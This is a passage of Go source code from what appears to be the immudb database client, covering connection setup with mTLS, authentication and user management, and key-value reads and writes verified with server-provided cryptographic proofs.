operation. // // Deprecated: use SQLQueryReader instead. // The renewSnapshot parameter is deprecated and is ignored by the server. SQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error) // SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) // ListTables returns a list of SQL tables. ListTables(ctx context.Context) (*schema.SQLQueryResult, error) // Describe table returns a description of a table structure. DescribeTable(ctx context.Context, tableName string) (*schema.SQLQueryResult, error) // VerifyRow reads a single row from the database with additional validation of server-provided proof. // // The row parameter should contain row from a single table, either returned from // query or manually assembled. The table parameter contains the name of the table // where the row comes from. The pkVals argument is an array containing values for // the primary key of the row. The row parameter does not have to contain all // columns of the table. Once the row itself is verified, only those columns that // are in the row will be compared against the verified row retrieved from the database. VerifyRow(ctx context.Context, row *schema.Row, table string, pkVals []*schema.SQLValue) error // NewTx starts a new transaction. // // Note: Currently such transaction can only be used for SQL operations. NewTx(ctx context.Context, opts ...TxOption) (Tx, error) // TruncateDatabase truncates a database. // This truncates the locally stored value log files used by the database. // // This call requires SysAdmin permission level or admin permission to the database. TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error } type ErrorHandler func(sessionID string, err error) const DefaultDB = "defaultdb" type immuClient struct { Dir string Logger logger.Logger Options *Options clientConn *grpc.ClientConn ServiceClient schema.ImmuServiceClient StateService state.StateService Tkns tokenservice.TokenService serverSigningPubKey *ecdsa.PublicKey StreamServiceFactory stream.ServiceFactory SessionID string HeartBeater HeartBeater errorHandler ErrorHandler } // Ensure immuClient implements the ImmuClient interface var _ ImmuClient = (*immuClient)(nil) // NewClient creates a new instance if immudb client object. // // The returned object implements the ImmuClient interface. // // Returned instance is not connected to the database, // use OpenSession to establish the connection. func NewClient() *immuClient { c := &immuClient{ Dir: "", Options: DefaultOptions(), Logger: logger.NewSimpleLogger("immuclient", os.Stderr), StreamServiceFactory: stream.NewStreamServiceFactory(DefaultOptions().StreamChunkSize), Tkns: tokenservice.NewInmemoryTokenService(), } return c } // NewImmuClient creates a new immudb client object instance and connects to a server. // // Deprecated: use NewClient instead. func NewImmuClient(options *Options) (*immuClient, error) { ctx := context.Background() c := NewClient() c.WithOptions(options) l := logger.NewSimpleLogger("immuclient", os.Stderr) c.WithLogger(l) if options.ServerSigningPubKey != "" { pk, err := signer.ParsePublicKeyFile(options.ServerSigningPubKey) if err != nil { return nil, err } c.WithServerSigningPubKey(pk) } options.DialOptions = c.SetupDialOptions(options) if db, err := c.Tkns.GetDatabase(); err == nil && len(db) > 0 { options.CurrentDatabase = db } if options.StreamChunkSize < stream.MinChunkSize { return nil, errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue) } c.WithOptions(options) clientConn, err := c.Connect(ctx) if err != nil { return nil, err } c.WithClientConn(clientConn) serviceClient := schema.NewImmuServiceClient(clientConn) c.WithServiceClient(serviceClient) if err = c.WaitForHealthCheck(ctx); err != nil { return nil, err } if err = os.MkdirAll(options.Dir, os.ModePerm); err != nil { return nil, logErr(l, "Unable to create program file folder: %s", err) } stateProvider := state.NewStateProvider(serviceClient) uuidProvider := state.NewUUIDProvider(serviceClient) stateService, err := state.NewStateService( cache.NewFileCache(options.Dir), l, stateProvider, uuidProvider, ) if err != nil { return nil, logErr(l, "Unable to create state service: %s", err) } if !c.Options.DisableIdentityCheck { stateService.SetServerIdentity(c.getServerIdentity()) } c.WithStateService(stateService) return c, nil } func (c *immuClient) debugElapsedTime(method string, start time.Time) { c.Logger.Debugf("method immuclient.%s took %s", method, time.Since(start)) } func (c *immuClient) getServerIdentity() string { // TODO: Allow customizing this value return c.Options.Bind() } // SetupDialOptions extracts grpc dial options from provided client options. func (c *immuClient) SetupDialOptions(options *Options) []grpc.DialOption { opts := options.DialOptions //---------- TLS Setting -----------// if options.MTLs { //LoadX509KeyPair reads and parses a public/private key pair from a pair of files. //The files must contain PEM encoded data. //The certificate file may contain intermediate certificates following the leaf certificate to form a certificate chain. //On successful return, Certificate.Leaf will be nil because the parsed form of the certificate is not retained. cert, err := tls.LoadX509KeyPair( //certificate signed by intermediary for the client. It contains the public key. options.MTLsOptions.Certificate, //client key (needed to sign the requests. Only the public key can open the data) options.MTLsOptions.Pkey, ) if err != nil { grpclog.Errorf("failed to read credentials: %s", err) } certPool := x509.NewCertPool() // chain is composed by default by ca.cert.pem and intermediate.cert.pem bs, err := ioutil.ReadFile(options.MTLsOptions.ClientCAs) if err != nil { grpclog.Errorf("failed to read ca cert: %s", err) } // AppendCertsFromPEM attempts to parse a series of PEM encoded certificates. // It appends any certificates found to s and reports whether any certificates were successfully parsed. // On many Linux systems, /etc/ssl/cert.pem will contain the system wide set of root CAs // in a format suitable for this function. ok := certPool.AppendCertsFromPEM(bs) if !ok { grpclog.Errorf("failed to append certs") } transportCreds := credentials.NewTLS(&tls.Config{ // ServerName is used to verify the hostname on the returned // certificates unless InsecureSkipVerify is given. It is also included // in the client's handshake to support virtual hosting unless it is // an IP address. ServerName: options.MTLsOptions.Servername, // Certificates contains one or more certificate chains to present to the // other side of the connection. The first certificate compatible with the // peer's requirements is selected automatically. // Server configurations must set one of Certificates, GetCertificate or // GetConfigForClient. Clients doing client-authentication may set either // Certificates or GetClientCertificate. Certificates: []tls.Certificate{cert}, // Safe store, trusted certificate list // Server need to use one certificate presents in this lists. // RootCAs defines the set of root certificate authorities // that clients use when verifying server certificates. // If RootCAs is nil, TLS uses the host's root CA set. RootCAs: certPool, }) opts = []grpc.DialOption{grpc.WithTransportCredentials(transportCreds)} } var uic []grpc.UnaryClientInterceptor if c.serverSigningPubKey != nil { uic = append(uic, c.SignatureVerifierInterceptor) } uic = append(uic, c.IllegalStateHandlerInterceptor, c.TokenInterceptor) if options.Auth && c.Tkns != nil { token, err := c.Tkns.GetToken() uic = append(uic, auth.ClientUnaryInterceptor(token)) if err == nil { // todo here is possible to remove ClientUnaryInterceptor and use only tokenInterceptor opts = append(opts, grpc.WithStreamInterceptor( grpc_middleware.ChainStreamClient( c.TokenStreamInterceptor, auth.ClientStreamInterceptor(token), c.SessionIDInjectorStreamInterceptor, )), ) } } uic = append(uic, c.SessionIDInjectorInterceptor) opts = append(opts, grpc.WithUnaryInterceptor(grpc_middleware.ChainUnaryClient(uic...)), grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(options.MaxRecvMsgSize))) return opts } // Connect establishes new connection to the server. // // Deprecated: use NewClient and OpenSession instead. func (c *immuClient) Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) { c.Logger.Debugf("dialed %v", c.Options) if c.clientConn, err = grpc.Dial(c.Options.Bind(), c.Options.DialOptions...); err != nil { return nil, err } return c.clientConn, nil } // Disconnect closes the current connection to the server. // // Deprecated: use NewClient and CloseSession instead. func (c *immuClient) Disconnect() error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } if err := c.clientConn.Close(); err != nil { return err } c.ServiceClient = nil c.clientConn = nil c.Logger.Debugf("disconnected %v in %s", c.Options, time.Since(start)) return nil } // IsConnected checks whether the client is connected to the server. func (c *immuClient) IsConnected() bool { return c.clientConn != nil && c.ServiceClient != nil } // WaitForHealthCheck waits for up to Options.HealthCheckRetries seconds to // get a successful HealthCheck response from the server. // // Deprecated: grpc retry mechanism can be implemented with WithConnectParams dialOption. func (c *immuClient) WaitForHealthCheck(ctx context.Context) (err error) { for i := 0; i < c.Options.HealthCheckRetries+1; i++ { if err = c.HealthCheck(ctx); err == nil { c.Logger.Debugf("health check succeeded %v", c.Options) return nil } c.Logger.Debugf("health check failed: %v", err) if c.Options.HealthCheckRetries > 0 { time.Sleep(time.Second) } } return err } func logErr(log logger.Logger, formattedMessage string, err error) error { if err != nil { log.Errorf(formattedMessage, err) } return err } // GetServiceClient returns low-level GRPC service client. func (c *immuClient) GetServiceClient() schema.ImmuServiceClient { return c.ServiceClient } // GetOptions returns current client options. func (c *immuClient) GetOptions() *Options { return c.Options } // ListUser returns a list of database users. // // This call requires Admin or SysAdmin permission level. // // When called as a SysAdmin user, all users in the database are returned. // When called as an Admin user, users for currently selected database are returned. func (c *immuClient) ListUsers(ctx context.Context) (*schema.UserList, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.ListUsers(ctx, new(empty.Empty)) } // CreateUser creates new user with given credentials and permission. // // Required user permission is SysAdmin or database Admin. // // SysAdmin user can create users with access to any database. // // Admin user can only create users with access to databases where // the user has admin permissions. // // The permission argument is the permission level and can be one of those values: // - 1 (auth.PermissionR) - read-only access // - 2 (auth.PermissionRW) - read-write access // - 254 (auth.PermissionAdmin) - read-write with admin rights func (c *immuClient) CreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } _, err := c.ServiceClient.CreateUser(ctx, &schema.CreateUserRequest{ User: user, Password: pass, Permission: permission, Database: databasename, }) c.Logger.Debugf("createuser finished in %s", time.Since(start)) return err } // ChangePassword changes password for existing user. // // This call requires Admin or SysAdmin permission level. // // The oldPass argument is only necessary when changing SysAdmin user's password. func (c *immuClient) ChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } _, err := c.ServiceClient.ChangePassword(ctx, &schema.ChangePasswordRequest{ User: user, OldPassword: oldPass, NewPassword: newPass, }) c.Logger.Debugf("ChangePassword finished in %s", time.Since(start)) return err } // UpdateAuthConfig is no longer supported. // // Deprecated: will be removed in future versions. func (c *immuClient) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } _, err := c.ServiceClient.UpdateAuthConfig(ctx, &schema.AuthConfig{ Kind: uint32(kind), }) c.Logger.Debugf("UpdateAuthConfig finished in %s", time.Since(start)) return err } // UpdateMTLSConfig is no longer supported. // // Deprecated: will be removed in future versions. func (c *immuClient) UpdateMTLSConfig(ctx context.Context, enabled bool) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } _, err := c.ServiceClient.UpdateMTLSConfig(ctx, &schema.MTLSConfig{ Enabled: enabled, }) c.Logger.Debugf("UpdateMTLSConfig finished in %s", time.Since(start)) return err } // Login authenticates the user in an established connection. // // Deprecated: use NewClient and OpenSession instead. func (c *immuClient) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) { start := time.Now() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } result, err := c.ServiceClient.Login(ctx, &schema.LoginRequest{ User: user, Password: pass, }) if err != nil { return nil, errors.FromError(err) } c.Logger.Debugf("login finished in %s", time.Since(start)) err = c.Tkns.SetToken("defaultdb", result.Token) if err != nil { return nil, errors.FromError(err) } return result, nil } // Logout logs out the user. // // Deprecated: use CloseSession. func (c *immuClient) Logout(ctx context.Context) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } if _, err := c.ServiceClient.Logout(ctx, new(empty.Empty)); err != nil { return err } tokenFileExists, err := c.Tkns.IsTokenPresent() if err != nil { return fmt.Errorf("error checking if token file exists: %v", err) } if tokenFileExists { if err := c.Tkns.DeleteToken(); err != nil { return fmt.Errorf("error deleting token file during logout: %v", err) } } c.Logger.Debugf("logout finished in %s", time.Since(start)) return nil } // ServerInfo returns information about the server instance. func (c *immuClient) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.ServerInfo(ctx, req) } // Health returns Health information about the current database. func (c *immuClient) Health(ctx context.Context) (*schema.DatabaseHealthResponse, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.DatabaseHealth(ctx, &empty.Empty{}) } // CurrentState returns current database state. func (c *immuClient) CurrentState(ctx context.Context) (*schema.ImmutableState, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("CurrentState", start) return c.ServiceClient.CurrentState(ctx, &empty.Empty{}) } // Get reads a single value for given key. func (c *immuClient) Get(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("Get", start) req := &schema.KeyRequest{Key: key} for _, opt := range opts { err := opt(req) if err != nil { return nil, err } } return c.ServiceClient.Get(ctx, req) } // GetSince reads a single value for given key assuming that at least transaction `tx` was indexed. // For more information about getting value with sinceTx constraint see the SinceTx get option. func (c *immuClient) GetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) { return c.Get(ctx, key, SinceTx(tx)) } // GetAt reads a single value that was modified at a specific transaction. // For more information about getting value from specific revision see the AtTx get option. func (c *immuClient) GetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) { return c.Get(ctx, key, AtTx(tx)) } // GetAtRevision reads value for given key by its revision. // For more information about the revisions see the AtRevision get option. func (c *immuClient) GetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error) { return c.Get(ctx, key, AtRevision(rev)) } // Gets reads a single value for given key with additional server-provided proof validation. func (c *immuClient) VerifiedGet(ctx context.Context, key []byte, opts ...GetOption) (vi *schema.Entry, err error) { start := time.Now() defer c.debugElapsedTime("VerifiedGet", start) req := &schema.KeyRequest{Key: key} for _, opt := range opts { err := opt(req) if err != nil { return nil, err } } return c.verifiedGet(ctx, req) } // VerifiedGetSince reads a single value for given key assuming that at least transaction `tx` was indexed. // For more information about getting value with sinceTx constraint see the SinceTx get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedGetSince(ctx context.Context, key []byte, tx uint64) (vi *schema.Entry, err error) { return c.VerifiedGet(ctx, key, SinceTx(tx)) } // VerifiedGetAt reads a single value that was modified at a specific transaction. // For more information about getting value from specific revision see the AtTx get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedGetAt(ctx context.Context, key []byte, tx uint64) (vi *schema.Entry, err error) { return c.VerifiedGet(ctx, key, AtTx(tx)) } // VerifiedGetAtRevision reads value for given key by its revision. // For more information about the revisions see the AtRevision get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedGetAtRevision(ctx context.Context, key []byte, rev int64) (vi *schema.Entry, err error) { return c.VerifiedGet(ctx, key, AtRevision(rev)) } func (c *immuClient) verifyDualProof( ctx context.Context, dualProof *store.DualProof, sourceID uint64, targetID uint64, sourceAlh [sha256.Size]byte, targetAlh [sha256.Size]byte, ) error { err := schema.FillMissingLinearAdvanceProof( ctx, dualProof, sourceID, targetID, c.ServiceClient, ) if err != nil { return err } verifies := store.VerifyDualProof( dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if !verifies { return store.ErrCorruptedData } return nil } func (c *immuClient) verifiedGet(ctx context.Context, kReq *schema.KeyRequest) (vi *schema.Entry, err error) { err = c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } req := &schema.VerifiableGetRequest{ KeyRequest: kReq, ProveSinceTx: state.TxId, } vEntry, err := c.ServiceClient.VerifiableGet(ctx, req) if err != nil { return nil, err } entrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version)) if err != nil { return nil, err } inclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof) dualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof) var eh [sha256.Size]byte var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte vTx := kReq.AtTx var e *store.EntrySpec if vEntry.Entry.ReferencedBy == nil { if kReq.AtTx == 0 { vTx = vEntry.Entry.Tx } e = database.EncodeEntrySpec(kReq.Key, schema.KVMetadataFromProto(vEntry.Entry.Metadata), vEntry.Entry.Value) } else { ref := vEntry.Entry.ReferencedBy if kReq.AtTx == 0 { vTx = ref.Tx } e = database.EncodeReference(kReq.Key, schema.KVMetadataFromProto(ref.Metadata), vEntry.Entry.Key, ref.AtTx) } if state.TxId <= vTx { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH) sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = vTx targetAlh = dualProof.TargetTxHeader.Alh() } else { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH) sourceID = vTx sourceAlh = dualProof.SourceTxHeader.Alh() targetID = state.TxId targetAlh = schema.DigestFromProto(state.TxHash) } verifies := store.VerifyInclusion( inclusionProof, entrySpecDigest(e), eh) if !verifies { return nil, store.ErrCorruptedData } if state.TxId > 0 { err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: vEntry.VerifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return vEntry.Entry, nil } // Scan iterates over the set of keys in a topological order. func (c *immuClient) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.Scan(ctx, req) } // ZScan iterates over the elements of sorted set ordered by their score. func (c *immuClient) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.ZScan(ctx, req) } // Count returns count of key-value entries with given prefix. // // Note: This feature is not implemented yet. func (c *immuClient) Count(ctx context.Context, prefix []byte) (*schema.EntryCount, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.Count(ctx, &schema.KeyPrefix{Prefix: prefix}) } // Count returns count of all key-value entries. // // Note: This feature is not implemented yet. func (c *immuClient) CountAll(ctx context.Context) (*schema.EntryCount, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.CountAll(ctx, new(empty.Empty)) } // Set commits a change of a value for a single key. func (c *immuClient) Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { return c.set(ctx, key, nil, value) } func (c *immuClient) set(ctx context.Context, key []byte, md *schema.KVMetadata, value []byte) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } hdr, err := c.ServiceClient.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Metadata: md, Value: value}}}) if err != nil { return nil, err } if int(hdr.Nentries) != 1 { return nil, store.ErrCorruptedData } return hdr, nil } // VerifiedSet commits a change of a value for a single key. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("VerifiedSet", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } req := &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Value: value}}}, ProveSinceTx: state.TxId, } var metadata runtime.ServerMetadata verifiableTx, err := c.ServiceClient.VerifiableSet( ctx, req, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD), ) if err != nil { return nil, err } if verifiableTx.Tx.Header.Nentries != 1 || len(verifiableTx.Tx.Entries) != 1 { return nil, store.ErrCorruptedData } tx := schema.TxFromProto(verifiableTx.Tx) entrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version) if err != nil { return nil, err } inclusionProof, err := tx.Proof(database.EncodeKey(key)) if err != nil { return nil, err } md := tx.Entries()[0].Metadata() if md != nil && md.Deleted() { return nil, store.ErrCorruptedData } e := database.EncodeEntrySpec(key, md, value) verifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh) if !verifies { return nil, store.ErrCorruptedData } if tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) { return nil, store.ErrCorruptedData } var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = tx.Header().ID targetAlh = tx.Header().Alh() if state.TxId > 0 { dualProof := schema.DualProofFromProto(verifiableTx.DualProof) err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: verifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return verifiableTx.Tx.Header, nil } // ExpirableSet commits a change of a value for a single key and sets up the expiration // time for that value after which the value will no longer be retrievable. func (c *immuClient) ExpirableSet(ctx context.Context, key []byte, value []byte, expiresAt time.Time) (*schema.TxHeader, error) { return c.set( ctx, key, &schema.KVMetadata{ Expiration: &schema.Expiration{ ExpiresAt: expiresAt.Unix(), }, }, value, ) } // SetAll sets multiple entries in a single transaction. func (c *immuClient) SetAll(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } hdr, err := c.ServiceClient.Set(ctx, req) if err != nil { return nil, err } if int(hdr.Nentries) != len(req.KVs) { return nil, store.ErrCorruptedData } return hdr, nil } // ExecAll performs multiple write operations (values, references, sorted set entries) // in a single transaction. func (c *immuClient) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } txhdr, err := c.ServiceClient.ExecAll(ctx, req) if err != nil { return nil, err } if int(txhdr.Nentries) != len(req.Operations) { return nil, store.ErrCorruptedData } return txhdr, nil } // GetAll retrieves multiple entries in a single call. func (c *immuClient) GetAll(ctx context.Context, keys [][]byte) (*schema.Entries, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("GetAll", start) keyList := &schema.KeyListRequest{} keyList.Keys = append(keyList.Keys, keys...) return c.ServiceClient.GetAll(ctx, keyList) } // Delete performs a logical deletion for a list of keys marking them as deleted. func (c *immuClient) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.Delete(ctx, req) } // TxByID retrieves all entries (in a raw, unprocessed form) for given transaction. // // Note: In order to read keys and values, it is necessary to parse returned entries // TxByIDWithSpec can be used to read already-parsed values. func (c *immuClient) TxByID(ctx context.Context, tx uint64) (*schema.Tx, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("TxByID", start) t, err := c.ServiceClient.TxById(ctx, &schema.TxRequest{ Tx: tx, }) if err != nil { return nil, err } decodeTxEntries(t.Entries) return t, err } // TxByIDWithSpec retrieves entries from given transaction according to given spec. func (c *immuClient) TxByIDWithSpec(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.TxById(ctx, req) } // TxByID retrieves all entries (in a raw, unprocessed form) for given transaction // and performs verification of the server-provided proof for the whole transaction. func (c *immuClient) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error) { err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("VerifiedTxByID", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } vTx, err := c.ServiceClient.VerifiableTxById(ctx, &schema.VerifiableTxRequest{ Tx: tx, ProveSinceTx: state.TxId, }) if err != nil { return nil, err } dualProof := schema.DualProofFromProto(vTx.DualProof) var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte if state.TxId <= tx { sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = tx targetAlh = dualProof.TargetTxHeader.Alh() } else { sourceID = tx sourceAlh = dualProof.SourceTxHeader.Alh() targetID = state.TxId targetAlh = schema.DigestFromProto(state.TxHash) } if state.TxId > 0 { err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: vTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } decodeTxEntries(vTx.Tx.Entries) return vTx.Tx, nil } // TxScan returns raw entries for a range of transactions. func (c *immuClient) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.TxScan(ctx, req) } // History returns history for a single key. func (c *immuClient) History(ctx context.Context, req *schema.HistoryRequest) (sl *schema.Entries, err error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("History", start) return c.ServiceClient.History(ctx, req) } // SetReference creates a reference to another key's value. // // Note: references can only be created to non-reference keys. func (c *immuClient) SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { return c.SetReferenceAt(ctx, key, referencedKey, 0) } // SetReference creates a reference to another key's value at a specific transaction. // // Note: references can only be created to non-reference keys. func (c *immuClient) SetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("SetReferenceAt", start) txhdr, err := c.ServiceClient.SetReference(ctx, &schema.ReferenceRequest{ Key: key, ReferencedKey: referencedKey, AtTx: atTx, BoundRef: atTx > 0, }) if err != nil { return nil, err } if int(txhdr.Nentries) != 1 { return nil, store.ErrCorruptedData } return txhdr, nil } // VerifiedSetReference creates a reference to another key's value and verifies server-provided // proof for the write. // // Note: references can only be created to non-reference keys. func (c *immuClient) VerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { return c.VerifiedSetReferenceAt(ctx, key, referencedKey, 0) } // SetReference creates a reference to another key's value at a specific transaction and verifies server-provided // proof for the write. // // Note: references can only be created to non-reference keys. func (c *immuClient) VerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) { err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("VerifiedSetReferenceAt", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } req := &schema.VerifiableReferenceRequest{ ReferenceRequest: &schema.ReferenceRequest{ Key: key, ReferencedKey: referencedKey, AtTx: atTx, BoundRef: atTx > 0, }, ProveSinceTx: state.TxId, } var metadata runtime.ServerMetadata verifiableTx, err := c.ServiceClient.VerifiableSetReference( ctx, req, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) if err != nil { return nil, err } if verifiableTx.Tx.Header.Nentries != 1 { return nil, store.ErrCorruptedData } tx := schema.TxFromProto(verifiableTx.Tx) entrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version) if err != nil { return nil, err } inclusionProof, err := tx.Proof(database.EncodeKey(key)) if err != nil { return nil, err } e := database.EncodeReference(key, nil, referencedKey, atTx) verifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh) if !verifies { return nil, store.ErrCorruptedData } if tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) { return nil, store.ErrCorruptedData } var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = tx.Header().ID targetAlh = tx.Header().Alh() if state.TxId > 0 { dualProof := schema.DualProofFromProto(verifiableTx.DualProof) err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: verifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return verifiableTx.Tx.Header, nil } // ZAdd adds a new entry to sorted set. // New entry is a reference to some other key's value // with additional score used for ordering set members. func (c *immuClient) ZAdd(ctx context.Context, set []byte, score float64, key 